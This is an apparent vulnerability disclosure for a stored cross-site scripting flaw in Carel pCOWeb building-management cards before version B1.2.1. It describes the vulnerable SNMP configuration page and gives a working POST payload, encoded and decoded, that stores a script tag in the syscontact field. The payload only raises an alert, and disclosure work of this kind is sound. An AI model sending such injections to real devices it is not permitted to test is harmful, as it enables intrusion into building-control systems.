Carel pCOWeb < B1.2.1 - Cross-Site Scripting
# Exploit Title: Carel pCOWeb - Stored XSS # Date: 2019-04-16 # Exploit Author: Luca.Chiou # Vendor Homepage: https://www.carel.com/ # Version: Carel pCOWeb all versions prior to B1.2.1 # Tested on: It is a proprietary devices: http://www.carel.com/product/pcoweb-card # 1. Description: # In Carel pCOWeb web page, # user can modify the system configuration by access the /config/pw_snmp.html. # Attackers can inject malicious XSS code in post data. # The XSS code will be stored in database, so that cause a stored XSS vulnerability. # 2. Proof of Concept: # Browse http://<Your<http://%3cYour> Modem IP>/config/pw_snmp.html # Send this post data: %3Fscript%3Asetdb%28%27snmp%27%2C%27syscontact%27%29=%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E # The post data in URL decode format is: ?script:setdb('snmp','syscontact')="><script>alert(123)</script> |